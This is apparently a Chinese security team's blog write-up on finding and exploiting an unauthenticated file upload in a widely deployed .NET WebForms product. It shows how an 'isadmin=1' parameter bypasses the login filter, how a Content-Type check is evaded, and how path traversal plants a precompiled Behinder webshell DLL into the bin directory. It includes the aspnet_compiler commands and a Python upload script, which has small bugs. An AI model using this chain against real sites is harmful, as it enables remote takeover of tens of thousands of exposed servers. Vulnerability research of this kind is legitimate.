一.信息收集
目标主页只提供了两个功能
看了下,网站由.net开发,使用的webforms。
但是这里显示了Web服务器是Nginx,手动探测。得知该系统由Nginx反向代理出来的。且映射路径为/WebSite/。
在主页下方发现了该系统的客服专线,使用fofa搜索指定内容,查找同类系统
根据相关信息,搜索出来了8w多个站点,使用量还挺大的
在某处发现了官方演示站点。
为: XX软件股份有限公司
信息收集到此结束。
根据上方信息,开始初步探测。因为该系统是使用.Net开发的。且用的IIS服务器,那么可以先进行一波备份探测。
使用工具提取fofa结果。
废话少说,直接上御剑(老品牌,值得信赖)
因为目标系统是Nginx反代出来的(应该是配套的安装包)。所以在扫描的时候需要加上映射路径
如/WebSite/web.rar
针对这种使用量特别大的系统,扫备份是一个不错的选择,几万个站点,总会有那么一两个运维粗心大意。
一顿操作后。
发现并没有什么备份文件。看来这套系统应该是集成好了的(类似于安装包,一键部署)
既然是安装包,且知道了系统开发商,那么可以尝试搜一下百度云。
果然有
既然是安装包,那么这里可以本地搭建环境测试了。
在本地搭建好相关环境后,开始安装对应程序
环境: Vmware IIS 8.0 SQLServer 2008
由于是.NET程序,这里直接切到站点的根目录。
.NET程序在发布时,会编译后在发布。所以,我们只需要对bin目录下的dll程序集进行审计即可。
但是这里我看了下目录下的文件。
该站点使用了预编译。。。。且在根目录下的PrecompiledApp.config 中的updatable值设置成了false (当updatable为false时,.NET将不再更新预编译文件的内容,简单的来说就是上传的aspx文件未经编译,不能正常处理)
这个问题先放一边了。。等挖到洞了在来琢磨这个问题。
先在根目录下搜索一些带有敏感词的文件,如: upload、File、Download、import 等关键词
开始对这几个文件进行审计。
在某个接口文件中发现了任意文件上传漏洞
该文件从获取文件流-》SaveAs存储。过程中并没有进行任何效验,且文件名可控。直接获取的FileName属性。
但是这里仔细一看,顶端居然有一个效验。
直接GG,绕不动,绕不动。
这种需要登录过后的洞,基本没啥用。是男人就得挖未授权!
最终在某处aspx文件中发现了一处文件上传漏洞。
这里虽然做了效验,但是做的不完全,只是对上传文件的Content-Type做了效验,只要在上传的时候更改一下Content-Type为image/gif 图片格式即可。
由于是预编译文件,文件的最终路径由AppRelativeVirtualPath 参数定义
为:/import/file/Upload.aspx
直接在搭好的环境中测试。
在虚拟机中访问AppRelativeVirtualPath 定义的路径。
这里居然提示了未登录,仔细看了下文件的处理逻辑,并没有进行身份验证等操作。
那么肯定是做了某些效验。
由于是Webforms。那么从开发的角度来看,验证一般都是在global.asax中。
上图可以看到,global.asax中创建了多个事件处理器。其中Application_PreRequestHandlerExecute 的作用就是当用户访问某个页面或者webservice(asmx)文件时。对该请求进行处理后放行。可以把他当作一个拦截器。一般都是在这个方法中效验用户是否处于登录状态。
大概逻辑就是获取context.Request.FilePath的值,也就是请求文件所处的路径。如果该路径是以jpg,bmp,gif,png,js结尾即可放行。
且下面定义了两个aspx文件。只有当截取出来的路径等于login.aspx或者forgetpassword.aspx时。才可以放行访问。否则就会提示用户未登录
FilePath对应的是IIS的虚拟路径,如 URL
http://localhost/1/index.html/pathinfo FilePath = /1/index.html
这里是无法绕过的。但是这里注意到了这么一行代码:
以GET形式接收一个参数为isadmin。如果isadmin 为1 那么bool值flag参数为True。
且在进行效验时。
if (flag || a == "login.aspx" || a == "forgetpassword.aspx"){
return;
}
这里用的时||,只要一方为True,则皆为True。导致权限效验可绕过。
在搭建好的环境中测试。
并没有弹出未登录的提示,证明成功绕过。根据文件的逻辑,构造好POC。
尝试上传文件。
在虚拟机中检测文件是否成功上传。
成功上传,尝试打印系统相关信息。
<%@Page Language="C#"%><%
Response.Write(Environment.UserDomainName+'\n'+Environment.UserName+'\n'+Environment.OSVersion);
%>
果然还是遇到了上文中所写的预编译问题,由于根目录下的PrecompiledApp.config 中的updatable值设置成了false。导致后面上传的文件无法进行编译。aspx程序无法正常执行。
当然,遇到这种情况,部分环境是可以尝试asp文件进行getshell的。因为asp文件并非.Net处理。由于该系统是自动部署的。可能相关环境也是配套的,试了很多后辍都无法成功getshell。
所谓知己知彼,百战不殆。这里我花了10分钟去了解了一下预编译的运作机制。
简单的来说,就是在网站发布时将aspx文件进行编译,转换成dll文件。因为.NET程序在运行时会优先加载bin目录下的程序集
即index.aspx -> /bin/index.dll
在用户访问index.aspx时,则直接由index.dll进行处理。而不是index.aspx。一旦进行预编译后,相关程序会被转换为dll存储在bin目录下。这时候,程序的访问路径和相关逻辑,都被封装成了dll。无论根目录下是否存在index.aspx。都可以正常处理特定路由下的功能。
这里想到了一个方法:
但必须由两个必要条件:
1.文件名可控
2.可以跨目录
既然预编译是将aspx程序提前编译好,那么我们只要满足上面两个条件。自己往bin目录里面写一个已编译的aspx文件不就行了?
使用NET.Framework自带的aspnet_compiler.exe进行编译。
aspnet_compiler.exe默认目录
C:\Windows\Microsoft.NET\Framework64\v2.0.50727
编译
aspnet_compiler -v \ -p (web文件所在目录) (编译后存储目录) -fixednames
这里我使用冰蝎2.0的aspx shell,放在指定目录
然后运行命令
aspnet_compiler -v \ -p C:\Users\Hai_n1Sdkw\Desktop\bx\server\Wev C:\Users\Hai_n1Sdkw\Desktop\bx\server\Web -fixednames
编译后的文件存储在bx\server\Web下
这时候shell.aspx已经被编译了
即使shell.aspx不存在,访问指定路径,也是能正常处理的。
这里主要看bin目录。生成了两个文件
.dll 和compiled文件。这就是已经编译好的内容
将dll文件拖入dnspy
这里的AppRelativeVirtualPath 就是你shell的地址。这里是根目录下的/shell.aspx。
只需要将这两个文件上传到bin目录下即可。
先直接拖入网站的bin目录中,看看是否可行。
成功getshell
import requests
def getShell1():
shell1 = "App_Web_shell.aspx.cdcab7d2.dll"
F1=open(shell1,'rb')
uploadFile(url,shell1,F1)
def getShell2():
shell2 = "shell.aspx.cdcab7d2.compiled"
F2=open(shell2,'rb')
uploadFile(url,shell2,F2)
def uploadFile(Adderss,filename,muli):
multiple_files = [
("File1", ("../../../bin/"+filename, getShell2(), "image/jpeg"))]
reson=requests.post(url=url,files=multiple_files)
米斯特安全团队是一群热爱网络安全技术的年轻人组成的线上团队,成员来自于国内各大公司,以及各大高校。
新年招新:二进制安全、安卓安全,CTF欢迎申请加入
简历投至邮箱: [email protected]